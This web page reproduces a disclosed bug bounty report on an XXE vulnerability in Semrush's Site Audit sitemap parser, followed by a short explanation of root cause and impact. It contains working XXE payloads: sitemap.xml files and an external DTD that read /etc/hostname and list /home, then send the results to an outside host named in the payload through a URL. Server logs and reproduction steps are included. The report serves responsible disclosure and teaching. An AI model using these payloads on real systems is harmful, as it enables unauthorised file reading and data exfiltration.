Skip to content
XXE Disclosed report Intermediate

XXE in Site Audit function exposing file and directory contents

The Site Audit function's XML processor was vulnerable to XXE when parsing a user-supplied sitemap.xml file. An attacker could read arbitrary files and list directory contents from the server.

Alex Chapman Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 26 hours
  • Fixed in 44 hours
  • Paid in 9 days
  • Disclosed after 36 days

Summary: The Project Site Audit function is vulnerable to XXE when parsing sitemap.xml files.

Description: The Site Audit function spiders a given website and performs analysis on the discovered pages. In order to improve website spidering the URL of a sitemap.xml file can be provided. If provided, the sitemap.xml file will be downloaded and processed by a Java XML processor.

The Java xml processor used is vulnerable to XXE attacks. By providing an external document type declaration (DTD) the XML processor can be coerced into processing external entities, for example:

sitemap.xml

XML
<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://xxe.webhooks.pw/text.txt" >]>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" 
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
    <url>
        <loc>&xxe;</loc>
        <lastmod>2006-11-18</lastmod>
        <changefreq>daily</changefreq>
        <priority>0.8</priority>
    </url>
</urlset>

Will cause the XML processor to process the external entity at http://xxe.webhooks.pw/text.txt:

"███" - - [05/Feb/2018:13:12:26 +0000] "GET /text.txt HTTP/1.1" 302 - "-" "Java/1.8.0_144"

This issue can be abused to read arbitrary files and list directory contents from the filesystem of the XML processor application. See the supporting materials below for an example of reading the /etc/hostname file and listing the contents of the /home directory.

Browsers Verified In:

  • Firefox 58.0.1 (64-bit)
  • Google Chrome 63.0.3239.132 (64-bit)

Steps To Reproduce:

  1. Create a new project with the domain hosting the malicious sitemap.xml file, e.g. semrush.webhooks.pw
  2. Set up a new "Site Audit"
  3. Within "Site Audit Settings" change "Crawl Source" to "Enter sitemap URL" and add the url of the malicious sitemap.xml file. An example sitemap.xml, e.g. http://static.webhooks.pw/files/semrush_sitemap.xml.
  4. Start the "Site Audit"
  5. The "Site Audit" background process will then kick off, download the provided sitemap.xml file and process it, triggering the XXE vulnerability.

See the attached screen capture for an example of exploiting this issue. Note, this screen capture is approximately 1 minute long.

Supporting Material/References:

File reading

sitemap.xml

XML
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE urlset [
 <!ENTITY % goodies SYSTEM "file:///etc/hostname">
 <!ENTITY % dtd SYSTEM "http://dtd.webhooks.pw/files/combine.dtd">
%dtd;
]>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" 
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
    <url>
        <loc>http://location.webhooks.pw/resp/&xxe;</loc>
        <lastmod>2006-11-18</lastmod>
        <changefreq>daily</changefreq>
        <priority>0.8</priority>
    </url>
</urlset>

combine.dtd

XML
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY xxe "%goodies;">

Output:

"46.229.173.66" - - [05/Feb/2018:14:26:02 +0000] "GET /resp/███████ HTTP/1.1" 302 - "-" "Mozilla/5.0 (compatible; SemrushBot-SA/0.97; +http://www.semrush.com/bot.html)"
---

Decoded:
███████

Directory listing

sitemap.xml

XML
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE urlset [
 <!ENTITY % goodies SYSTEM "file:///home/">
 <!ENTITY % dtd SYSTEM "http://dtd.webhooks.pw/files/combine.dtd">
%dtd;
]>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" 
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
    <url>
        <loc>http://location.webhooks.pw/resp/&xxe;</loc>
        <lastmod>2006-11-18</lastmod>
        <changefreq>daily</changefreq>
        <priority>0.8</priority>
    </url>
</urlset>

combine.dtd

XML
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY xxe "%goodies;">

Output:

"46.229.173.66" - - [05/Feb/2018:14:39:35 +0000] "GET /resp/██████ HTTP/1.1" 302 - "-" "Mozilla/5.0 (compatible; SemrushBot-SA/0.97; +http://www.semrush.com/bot.html)"
---

Decoded:
██████████
█████
█████
cdh
█████████
██████
███████
█████
█████████
██████████
███
████████
lost found
███████
█████████
█████████

Impact

This issue could be abused to identify and list the contents of sensitive files on the Semrush server which implements the Site Audit functionality.

Attachments

semrush_xxe3.gif
semrush_xxe3.gif From the original on HackerOne

The original report as published on HackerOne, by ajxchapman. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the XML parser was not configured to disable external entity processing, allowing DTDs to define entities that read local files.

Impact

This issue could be abused to identify and list the contents of sensitive files on the server.

What the attacker needed

Ability to host a malicious sitemap.xml; victim starts a Site Audit

How it was found

  1. Create a new project with a domain hosting a malicious sitemap.xml file.
  2. Set up a new Site Audit.
  3. In Site Audit Settings, change Crawl Source to 'Enter sitemap URL' and provide the malicious sitemap URL.
  4. Start the Site Audit.
  5. The background process downloads and processes the sitemap, triggering the XXE.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website processes an XML file, it can be tricked into including external entities that refer to local files. This is called XXE (XML External Entity) injection. Here, the site audit tool downloaded a sitemap.xml file from a user-provided URL and processed it without disabling external entities, allowing an attacker to read files on the server.

What is XXE?

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.

More by Alex Chapman

View all

12 more disclosed reports, best first.

More from Semrush

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

XML external entities (XXE)

The lesson behind this report.

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.